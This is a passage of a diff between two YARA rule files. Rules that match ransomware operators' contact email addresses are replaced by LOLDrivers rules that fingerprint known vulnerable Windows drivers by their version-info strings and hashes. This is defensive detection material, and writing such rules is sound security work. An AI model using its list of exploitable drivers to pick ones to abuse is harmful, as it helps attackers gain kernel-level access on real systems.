+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310034002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Alumnilocker
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_DB71 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with AlumniLocker ransomware"
-		author = "ditekShen"
-		id = "64b6aff8-3758-5837-b814-e2505a9c12a3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L194-L202"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aeab9cb2b2da246e1863cd1102d901d322017d0b309e852d83e4f66f6e4bdd22"
-		score = 75
-		quality = 73
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "85b1e297-b9f8-5147-93e3-a084ec658782"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1106-L1125"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "db711ec3f4c96b60e4ed674d60c20ff7212d80e34b7aa171ad626eaa8399e8c7"
+		logic_hash = "c62675b8ae01311a74bd0b0717219dde73badf621f2b6af1d5d6ff12317048f0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "alumnilocker@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300034002e0030003100300035002e00320030003100360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300034002e0030003100300035002e0032003000310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Doejocrypt
+rule LOLDRIVERS_PUA_VULN_Driver_Iobit_Monitorsys_Advancedsystemcare_E4A7 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with DoejoCrypt ransomware"
-		author = "ditekShen"
-		id = "bdf67fd3-8614-52f0-8804-9905f067a848"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L204-L213"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b76996ef413d017fa571115f7331154c808fed0f1b1e0c97241cadbbef260a00"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Monitor_win10_x64.sys"
+		author = "Florian Roth"
+		id = "65b75be5-98a2-56ca-bb4a-cfd0c6871c0e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1128-L1147"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb"
+		logic_hash = "798dad45f7ac1267da440c3ca7aba1da1dbd2bdead9b6979379902e009bbd2a2"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "konedieyp@airmail.cc" ascii wide nocase
-		$s2 = "uenwonken@memail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f006200690074002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e006300650064002000530079007300740065006d0043006100720065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Purge
+rule LOLDRIVERS_PUA_VULN_Driver_Iobit_Iobitunlockersys_Iobitunlocker_2B33 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Purge ransomware"
-		author = "ditekShen"
-		id = "2a0f2c69-b179-5e48-9db6-be25e329f72b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L215-L224"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "49f3f5a88212d4bed1f0237a4437fb537e84cd6dd26c5fe224250f3b6e39d384"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iobitunlocker.sys"
+		author = "Florian Roth"
+		id = "ce40dddf-a58e-542b-b2d9-45f55c502d35"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1150-L1181"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae"
+		hash = "faa9aa7118ecf9bb6594281f6b582f1ced0cc62d5db09a2fbf9b7ce70c532285"
+		hash = "507724d96a54f3e45c16a065bf38ae82a9b80d07096a461068a701cae0c1cf29"
+		hash = "b0dd55b4dc7e561dfe413b029673674e2a5381f5f4daede03ddf3484310a6e11"
+		hash = "c2e1a3dd0dfb3477a3e855368b23d12b8818df8fa3bc3508abf069a0873d6bf8"
+		hash = "d3e95b8d8cbb0c4c3bb78d929408b37fd3b8f305b6234f7f03954465d52454eb"
+		hash = "5ea5f339b2e40dea57378626790ca7e9a82777aacdada5bc61ebb7d82043fa07"
+		hash = "b6ae324b84a4632cf690dd565954d64b205104fc3fa42181612c3f5b830579c6"
+		hash = "d8096325bfe81b093dd522095b6153d9c4850ba2eaa790e12e7056ef160d0432"
+		hash = "a38c26c0754f6c9389ea43dd0149db26b95742c1b37468fcf0d8ced66da1dcb9"
+		hash = "a92d2736c8cd99195a1ef4d0d9a3412bee481acf585944e3b5946b465361a3e7"
+		hash = "0209934453e9ce60b1a5e4b85412e6faf29127987505bfb1185fc9296c578b09"
+		hash = "969f73a1da331e43777a3c1f08ec0734e7cf8c8136e5d469cbad8035fbfe3b47"
+		logic_hash = "dd77671686a88736713d59771eef44d47b8acb18454dc3e6f229282aa534dcd3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "rscl@dr.com" ascii wide nocase
-		$s2 = "rscl@usa.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f0062006900740055006e006c006f0063006b006500720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0049004f00620069007400200043006f0070007900720069006700680074002000a900200032003000300035002d0032003000310033 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Zeoticus
+rule LOLDRIVERS_PUA_VULN_Driver_Phoenixtechnologiesltd_Phlashnt_Winphlash_65DB : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Zeoticus ransomware"
-		author = "ditekShen"
-		id = "4d5f0d6d-f792-563d-9a9b-1986f5af8743"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L226-L235"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7a83b15b0c8e81f67d11f8b5d9a43ba4e1e3a0f6741ddd0daafe4e742dd91cd8"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PhlashNT.sys"
+		author = "Florian Roth"
+		id = "7c0b1c20-b3ef-56e9-b2e2-e2542c7a85e3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1184-L1203"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890"
+		logic_hash = "52b33a82d9835242e397f693094494508a9a1e17ab7125ad6818130f4b2dc2de"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "anobtanium@tutanota.com" ascii wide nocase
-		$s2 = "anobtanium@cock.li" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300570069006e0046006c006100730068002000440072006900760065007200200066006f0072002000570069006e0064006f007700730020004e0054 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500048004c004100530048004e0054 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00500068006c006100730068 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500048004c004100530048004e0054002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800630029002000500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e00200032003000300030002d0032003000300033 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Jobcryptor
+rule LOLDRIVERS_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7196 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with JobCryptor ransomware"
-		author = "ditekShen"
-		id = "406f5638-883b-57a4-a2ba-532d2bd3ae83"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L237-L247"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c8c5dcc0d7484a3ac6e702cca8bd0907f9e4f4aea5e99c4c3f988389e0d803a7"
-		score = 75
-		quality = 69
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		id = "3b631d10-d727-53f8-8f56-87695e305198"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1206-L1225"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d"
+		logic_hash = "c69a031ad9d7eff41358cd2ae9404c25c48ca747ac5fc9b806e48be2fe59aee8"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "olaggoune235@protonmail.ch" ascii wide nocase
-		$s2 = "ouardia11@tutanota.com" ascii wide nocase
-		$s3 = "laggouneo11@gmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Cuba
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Aoddriversys_Amdoverdriveservicedriver_F4DC : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with JobCryptor ransomware"
-		author = "ditekShen"
-		id = "5eea027d-2164-54f2-a2bf-74b5d532e610"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L249-L261"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b734199c8593c338c803518b2729e9d9ceaaed5d21585a3d299885433d8f796e"
-		score = 75
-		quality = 65
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AODDriver.sys"
+		author = "Florian Roth"
+		id = "200fe944-ea33-52ad-9729-a42319b169a8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1228-L1248"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f4dc11b7922bf2674ca9673638e7fe4e26aceb0ebdc528e6d10c8676e555d7b2"
+		hash = "070ff602cccaaef9e2b094e03983fd7f1bf0c0326612eb76593eabbf1bda9103"
+		logic_hash = "6d49bcb5159d3be15ec42748089baff846ce661446a73d7986deb945e379a45f"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "helpadmin2@protonmail.com" ascii wide nocase
-		$s2 = "helpadmin2@cock.li" ascii wide nocase
-		$s3 = "mfra@cock.li" ascii wide nocase
-		$s4 = "admin@cuba-supp.com" ascii wide nocase
-		$s5 = "cuba_support@exploit.im" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004f00440044007200690076006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004f00440044007200690076006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003200200041004d0044002c00200049006e0063002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Hello
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrddkprovider_Rtportsys_Windowsrddkprovider_8FE4 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Hello / WickrMe ransomware"
-		author = "ditekShen"
-		id = "02bbaa61-7ea3-5edd-8b38-27ef1f6ee1e2"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L263-L277"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dfafb0323a50891c03c4b706d4f3a6a511cecdee2448c1f554b416ba1e3d3df9"
-		score = 75
-		quality = 61
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtport.sys"
+		author = "Florian Roth"
+		id = "85e60907-b5da-5c9a-811e-0ddb0c850087"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1251-L1271"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8fe429c46fedbab8f06e5396056adabbb84a31efef7f9523eb745fc60144db65"
+		hash = "71423a66165782efb4db7be6ce48ddb463d9f65fd0f266d333a6558791d158e5"
+		logic_hash = "c768c1592586c6a053f69d8f64c66ba213dc054113d98f3144610fdb5978a0f1"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "emming@tutanota.com" ascii wide nocase
-		$s2 = "ampbel@protonmail.com" ascii wide nocase
-		$s3 = "asauribe@tutanota.com" ascii wide nocase
-		$s4 = "candietodd@tutanota.com" ascii wide nocase
-		$s5 = "kellyreiff@tutanota.com" ascii wide nocase
-		$s6 = "kevindeloach@protonmail.com" ascii wide nocase
-		$s7 = "sheilabeasley@tutanota.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065006e006500720069006300200050006f0072007400200049002f004f00200066006f0072002000570069006e00360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300033002000440044004b00200033003700390030002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0032003100390035002e0031003700310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030002e0032003100390035002e0031003700310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300033002000440044004b00200033003700390030002000700072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200032003000300035 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Unlockyourfiles
+rule LOLDRIVERS_PUA_VULN_Driver_Anticheatexpertcom_Acebase_Anticheatexpert_7326 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with UnlockYourFiles ransomware"
-		author = "ditekShen"
-		id = "fdc3ec49-66cc-5a0b-87a6-3660dd6f3b72"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L279-L288"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a33dae7f08eb0c2415fbfdadf2cbbf90c68bc802352277422c6d0a2dbd62cd82"
-		score = 75
-		quality = 71
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ACE-BASE.sys"
+		author = "Florian Roth"
+		id = "5a93b810-f40c-56eb-a3da-8075fb9b15a9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1274-L1292"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7326aefff9ea3a32286b423a62baebe33b73251348666c1ee569afe62dd60e11"
+		logic_hash = "c309c294def3fb6601ab76b4b67bdda0d38db398a8a56b0ced0d4ce8cafc8602"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "4lok3r@tutanota.com" ascii wide nocase
-		$s2 = "4lok3r@protonmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100430045002d0042004100530045003600340020004e00540020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041004e0054004900430048004500410054004500580050004500520054002e0043004f004d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032003200300032002e0036003200310037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100430045002d004200410053004500360034 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069002d004300680065006100740020004500780070006500720074 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200041006e0074006900430068006500610074004500780070006500720074002e0063006f006d0020004c0069006d0069007400650064002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <1900KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Darkside
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_133E : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with DarkSide ransomware"
-		author = "ditekShen"
-		id = "7b29b9b9-4657-551e-b770-880a2278ef60"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L290-L299"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3c6cdb15cad19f1db38c0fe03ecb24d5cd4861a699aa2bee0f99b8dddacc8bd1"
-		score = 75
-		quality = 73
-		tags = ""
-		hash1 = "bafa2efff234303166d663f967037dae43701e7d63d914efc8c894b3e5be9408"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "f1f06952-1500-57af-8486-eb127a90b110"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1295-L1314"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743"
+		logic_hash = "8294e9a9d7bf9e4471d494ca78db936c69b2b2ee495207cde79aeabff9910463"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "breathcojunktab1987@yahoo.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Spyro
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_1072 : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with Spyro ransomware"
-		author = "ditekShen"
-		id = "9a42a9fd-dfaf-5719-acae-e7c3b92ecdc9"
-		date = "2024-01-23"
